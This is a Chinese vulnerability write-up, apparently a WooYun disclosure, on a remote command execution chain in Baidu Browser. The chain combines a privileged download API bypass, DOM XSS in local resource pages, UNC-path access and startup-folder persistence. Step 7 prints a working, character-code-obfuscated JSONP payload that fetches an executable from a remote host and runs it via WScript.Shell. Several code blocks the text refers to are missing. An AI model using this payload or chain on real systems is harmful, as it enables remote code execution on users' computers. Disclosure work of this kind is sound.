发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。
1. 更新到最新版,发现之前的漏洞已经被修补,于是将bdbrowser.skin.download API进行重试了测试一下,
发现做了以下更改:
2. 随后,我对每个参数的过滤方式进行了猜测式的尝试绕过,发现:
3. 从上面我们不难看出,只要我们再次可以调用特权API,我们又可以导致命令执行了。
4. 由于利用blob/filesystem协议绕过的方式已经被修补,但file域依然是具有权限的。 此前,我对百度浏览器目录下的htm类资源进行过审查,发现在百度浏览器的安装目录下的:
安装目录/resource/extension/security/safe_default.html
安装目录/resource/extension/security/safe_service.html
均存在DOM XSS代码,缺陷代码比较明显:
但由于queryHash中获取参数时以“=”号分隔,使得我们的利用代码里不能具有等号,不需要等号的XSS向量,只有<script>alert(1)</script>,然而大家都知道, xx.innerHTML="<script></script>" 并不会去执行script标签内的脚本。只有在IE浏览器下,使用1<script/defer></script>才能使得脚本被执行。
5. 因此,我们又要利用 《百度浏览器远程命令执行》中 ftp强制使用IE内核的方法。然而,该html文件在本地域,我们想要使用<iframe src="file://..../resource/extension/security/safe_service.html"></iframe>的方式直接去访问该缺陷html是不行的。不过庆幸的是,由于是IE内核,我们可以通过UNC path来实现访问本地html的目的,该方法在《搜狗浏览器任意文件读取漏洞 》(http://**.**.**.**/bugs/wooyun-2010-028832)同样被使用过。
我们可以据此来构造利用代码:
利用代码会通过 safe_default.html的DOM XSS实现调用baidu3.js
6.baidu3.js总体上和《百度浏览器远程命令执行二 - 绕过特权域限制 》中的命令执行代码相类似,以下是几个不同的点:
7. 第6步中所述的JSONP构造如下:
A. 首先写一个下载计算器并执行的JS代码
B. 然后转换成只有括号的形式(http://**.**.**.**/app/enter?appid=280383):
C. 放入JSONP的callback参数中。
http://**.**.**.**/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void
D. 将上面地址作为 bdbrowser.skin.download 函数的下载资源来源地址。
8. 其它代码,比如获取用户目录同上一篇文章,当用户访问我们恶意构造的网页后,JSONP页面的内容将被保存到启动目录下,名字为test.js, 用户下次开机启动后,test.js将会被执行,并远程下载calc.exe,然后执行calc.exe
![百度浏览器远程命令执行三]()
9. 修改后的利用代码baidu3.js 如下:
评论